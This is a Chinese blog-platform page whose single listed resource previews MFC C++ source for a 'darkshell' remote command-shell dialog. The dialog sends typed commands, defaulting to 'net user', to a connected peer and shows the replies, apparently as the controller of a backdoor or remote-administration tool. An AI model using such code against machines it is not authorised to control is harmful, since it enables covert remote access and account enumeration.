自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(0)
  • 资源 (1)
  • 收藏
  • 关注

空空如也

FreeCode2008.rar

// CmdShellDlg.cpp : implementation file // #include "stdafx.h" #include "darkshell.h" #include "CmdShellDlg.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CCmdShellDlg dialog CCmdShellDlg::CCmdShellDlg(CWnd* pParent /*=NULL*/) : CDialog(CCmdShellDlg::IDD, pParent) { //{{AFX_DATA_INIT(CCmdShellDlg) m_Cmd = _T("net user"); //}}AFX_DATA_INIT } void CCmdShellDlg::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CCmdShellDlg) DDX_Control(pDX, IDC_EDIT_SHELL, m_EdtShell); DDX_Text(pDX, IDC_EDIT_CMD, m_Cmd); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CCmdShellDlg, CDialog) //{{AFX_MSG_MAP(CCmdShellDlg) ON_BN_CLICKED(IDC_BTN_RUN, OnBtnRun) ON_BN_CLICKED(IDC_BTN_CLEAN, OnBtnClean) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CCmdShellDlg message handlers BOOL CCmdShellDlg::OnInitDialog() { CDialog::OnInitDialog(); // Set the small icon for this dialog SetIcon(AfxGetApp()->LoadIcon(IDI_ICOBTN_SHELL), FALSE); CenterWindow(); // TODO: Add extra initialization here TCHAR szIp[100]; DWORD dwPort = m_hServer.GetPeerName(szIp); CString strTitle; strTitle.Format(_T("超级终端@%s:%d"), szIp, dwPort); SetWindowText(strTitle); //设置回调 m_hServer.SetCallBack(this); //开始CmdShell m_hServer.Begin(); return TRUE; } void CCmdShellDlg::OnCancel() { // TODO: Add extra cleanup here m_hServer.SendCmd(_T("exit\r\n")); m_hServer.Close(); //非模式对话框,需要这样销毁对话框 DestroyWindow(); //CDialog::OnCancel(); } void CCmdShellDlg::PostNcDestroy() { // TODO: Add your specialized code here and/or call the base class //delete掉主对话框中new出来的指针 delete this; CDialog::PostNcDestroy(); } BOOL CCmdShellDlg::PreTranslateMessage(MSG* pMsg) { // TODO: Add your specialized code here and/or call the base class if (pMsg->message == WM_KEYDOWN) { int nVirtKey = (int)pMsg->wParam; if (nVirtKey == VK_RETURN) { //如果是回车在这里做你要做的事情,或者什么也不作 return TRUE; } if (nVirtKey == VK_ESCAPE) { //如果是ESC在这里做你要做的事情,或者什么也不作 return TRUE; } } return CDialog::PreTranslateMessage(pMsg); } //回调函数 void CCmdShellDlg::OnRecvMsg(LPCTSTR szMsg) { m_EdtShell.AddText(szMsg); } void CCmdShellDlg::OnBtnRun() { // TODO: Add your control notification handler code here UpdateData(); m_Cmd +=_T("\r\n"); m_hServer.SendCmd(m_Cmd); } void CCmdShellDlg::OnBtnClean() { // TODO: Add your control notification handler code here m_EdtShell.ClearEdit(); }

2009-11-28

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除